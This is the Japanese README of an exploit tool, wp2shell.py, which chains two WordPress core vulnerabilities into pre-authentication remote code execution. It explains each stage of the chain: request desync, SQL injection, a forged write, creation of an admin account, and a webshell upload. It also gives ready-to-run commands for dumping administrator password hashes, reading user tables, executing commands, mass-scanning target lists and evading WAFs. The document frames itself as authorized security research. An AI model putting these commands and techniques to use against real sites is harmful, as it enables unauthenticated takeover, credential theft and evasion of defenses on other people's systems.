
事前認証不要のRCE PoC for WordPress core — CVE-2026-63030(REST /batch/v1 ルート混乱デシンク)とCVE-2026-60137(author__not_in SQLi)を連鎖させ、認証不要のシェルを取得します。許可されたテストのみ。
未認証のWordPressコアRCE PoC、CVE-2026-63030 + CVE-2026-60137を連鎖。許可されたテストのみ。
wp2shell.pyは、単一ファイルで標準ライブラリのみを使用した概念実証であり、2つのWordPressコア脆弱性を連鎖させて未認証のリモートコード実行を実現します。
| CVE | Component | Bug |
|---|---|---|
| CVE-2026-63030 | REST /batch/v1 handler | ルート混乱デシンク — バッチハンドラは、サブリクエストパスのパースに失敗すると、自身のハンドラテーブルと検証テーブルの同期を失い、サブリクエストが検証されていないハンドラを通してディスパッチされます。 |
| CVE-2026-60137 | WP_Query | スカラーSQLインジェクション — author__not_inの値がSQLに直接貼り付けられるため、そこに到達する文字列が注入可能になります。 |
どちらも単独ではRCEではありません。デシンクがデリバリー(攻撃者の文字列を本来到達すべきでないクエリに密輸する)であり、インジェクションがプリミティブです。これらが組み合わさることで、事前認証の攻撃者に完全なSQL読み取り/書き込みオラクルを与え、そこから動作するシェルを取得します。
⚠️ 許可されたテストのみ。 これは実際のWordPressインストールを悪用します。所有しているか、テストの明示的な書面による許可を得ているシステムに対してのみ使用してください。
脆弱性あり: 6.8.0–6.8.5、6.9.0–6.9.4、7.0.0–7.0.1 修正済み: 6.8.6、6.9.5、7.0.2(およびそれ以降) 報告者: Adam Kues (Assetnote / Searchlight Cyber); SQLiはTF1T、dtro、haongoにもクレジット。
RCEが可能なのは6.9.0~7.0.1のみです。 6.8.x系ではデシンクは依然として発動しますが、ハンドラを誤整列させるブランチは代わりにWP_Error::get_method()の致命的エラーにヒットします。したがって、6.8.xはサービス拒否/クラッシュであり、シェルは取得できません。ツールはこれを検出し、どのプリミティブが利用可能かを通知します。
エクスプロイトはレイヤーで構成されています。各レイヤーは次のレイヤーへの橋渡しとなります。
デシンク (CVE-2026-63030). バッチリクエストが2番目のバッチをネストします。1つのサブリクエストは意図的に不正な形式のパス (http://、wp_parse_url()が拒否するもの) を運びます。6.9.0以降では、パースの失敗によりハンドラテーブルと検証テーブルが1エントリずれ、そのため次のサブリクエストは検証されていないハンドラ(公開投稿コレクション)の下で実行されます。
インジェクション (CVE-2026-60137). その誤ディスパッチされた呼び出しは、攻撃者が制御するauthor__not_inと共にWP_Queryに到達します。そこでのUNION ALL SELECTは行を読み取るのではなく、それらを偽造し、クエリ結果内に任意の投稿を偽装できます。
SQL → 書き込みブリッジ. 偽造された投稿は[embed]マークアップを運びます。WordPressはそれを忠実に解決し、実際のoembed_cache投稿メタ行としてキャッシュします。これにより、読み取り専用のインジェクションが任意の書き込みプリミティブに変わります。
権限昇格. その書き込みブリッジを使用して、(a) 実際の管理者として作成されたカスタマイザの変更セットと、(b) 自己参照のrequest投稿を偽造します。これらが連携して、WordPressにその管理者として自身のリクエストパイプラインを再実行させます。これは、キューに入れられたPOST /wp/v2/users呼び出しが新しい管理者を作成するのに十分な長さのウィンドウです。
シェル. 新しい管理者としてログインし、プラグインをアップロードし、コマンドを実行します。アカウント、そのメタ、oembed行、およびウェブシェルはすべてその後クリーンアップされ、永続的な痕跡は残りません。
読み取り側(--dump、プレフィックス解決、キャッシュされたID)では、ツールは動作する最速のオラクルを自動選択し、最初のヒットで停止します。
union — インバンドUNION: 偽造された行のpost_titleが|||HEX(value)|||を運び、それが/wp/v2/postsのレスポンスボディにそのまま反映されます。1回のリクエストで任意の長さの値全体を読み取ります。UNIONが反映される場合、ブールオラクルは決してプローブされません。bool — ブールX-WP-Totalオラクル: 混乱したサブレスポンスのX-WP-Totalヘッダーが、真の場合はcount>0、偽の場合は0になります。1リクエストあたり1ビット(二分探索)。time — 時間ベースのSLEEP(): ボディが取り除かれ、かつレスポンスが500の場合(例:キャッシュmuプラグインによるディスパッチ後の致命的エラー)のフォールバック。すべてのREST呼び出しでクラッシュするターゲットでも動作します。--dumpは、UNIONが利用可能な場合、GROUP_CONCATを使用して資格情報セット全体を一度に取得します。
不要。Python 3.7+ 標準ライブラリのみ — pip install は不要。
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) はそのままhashcatに渡せます (phpassの場合は-m 3200、またはWP bcryptモード)。WordPress 6.8+ は$wp$… bcryptを使用します。--dump はデフォルトで最初の管理者のみをダンプします。全管理者リストには**--dump all**を使用してください。--oracle time --dumpに切り替えてハッシュを復元してください。--execパスは何も残さないように設計されています。一時的な管理者、そのユーザーメタ、偽造されたoembed_cache行、およびアップロードされたウェブシェルはすべて、ツールが終了する前に削除されます。--keepフラグはありません — オペレーターは、攻撃者によって作成された生きている管理者アカウントをクライアントのシステムに残してはなりません。
wp2shell.py — エクスプロイト (単一ファイル、標準ライブラリのみ)。脆弱性の発見、開示、および元の「wp2shell」の記事のクレジットは、Searchlight Cyber / Assetnote 研究チームに帰属します。
/batch/v1 ルート混乱デシンクWP_Query author__not_in SQLインジェクションこのリポジトリは、彼らが開示したエクスプロイトチェーンの独立した概念実証実装です。基礎となる脆弱性の発見を主張するものではありません。帰属が不完全または不正確な場合は、issueを開いてください。修正されます。
これは、許可されたペネトレーションテストおよび防御的検証のためのセキュリティ研究概念実証です。所有していない、またはテストの書面による許可を得ていないシステムに対して実行することは違法です。著者は誤用に対する一切の責任を負いません。
| Flag | Purpose |
|---|
url / -f FILE | 単一ターゲット、またはターゲットのファイル(1行に1URL) |
--check | 脆弱性チェックのみ — インジェクション、書き込み、アカウント作成なし |
--dump [all] | 最初の管理者のハッシュ+秘密情報をダンプ; all = 全管理者 |
--exec CMD | 一時管理者を作成 → CMDを実行 → クリーンアップ |
--user-list | ユーザーテーブル全体の昇格されたインバンド読み取り(ログイン不要、2FA回避) |
--content [full] | すべての投稿タイプのstatus=anyでの昇格された読み取り; fullで本文追加 |
--oracle {auto,union,bool,time} | 抽出オラクルを強制 (デフォルト auto) |
--prefix PFX | テーブルプレフィックスを自動解決せずに強制 |
--impersonate UID | 最初の管理者の代わりにこのユーザーIDを偽装 |
--threads N | 1つのターゲット内での同時抽出プローブ数 (デフォルト 5) |
--target-threads N | -fからN個のターゲットを同時スキャン (デフォルト 1) |
--proxy URL | プロキシ経由でルーティング (例: Burp http://127.0.0.1:8080) |
--timeout SEC | リクエストごとのタイムアウト (デフォルト 30) |
--verbose / -v | 生のバッチサブレスポンスをダンプ (デバッグ) |
| Flag | Purpose |
|---|
--form | バッチをmultipart/form-dataとして送信 (クリーンなURL、?rest_route=なし) |
--permalink [PREFIX] | /<PREFIX>/batch/v1経由でルーティング (デフォルト wp-json); ペイロードをURLと$_POSTの外に保持します。ヒント: --permalink index.php/wp-json はPATH_INFOを介してRESTに到達し、/wp-jsonに固定されたルールを回避します。 |
--dummy N | WAF検査バッファをオーバーフローさせるために本文にNバイトのジャンクを先頭に追加 |
--donor {widgets,categories,tags} | 混乱ドナールートを切り替え (あるルートが500を返す場合; デフォルト widgets) |
--per-page N | per_pageを偽造 (-1または大きな正の値はいずれも全行を返します; ターゲットが-1で500を返す場合は大きな正の値を使用) |
--users-route PATH | ユーザー作成呼び出しの代替ケース/クエリ (/wp/v2/Users、…?_=1) |
--primer PATH | WAFがデフォルトのhttp://:をフィンガープリントする場合の代替不正デシンクパス |
--user-agent UA | UAを固定 (デフォルト: 実行ごとにランダムな現実的なブラウザUA) |
--embed-base URL | oembed URLベースを上書き (自己埋め込みループバックを回避) |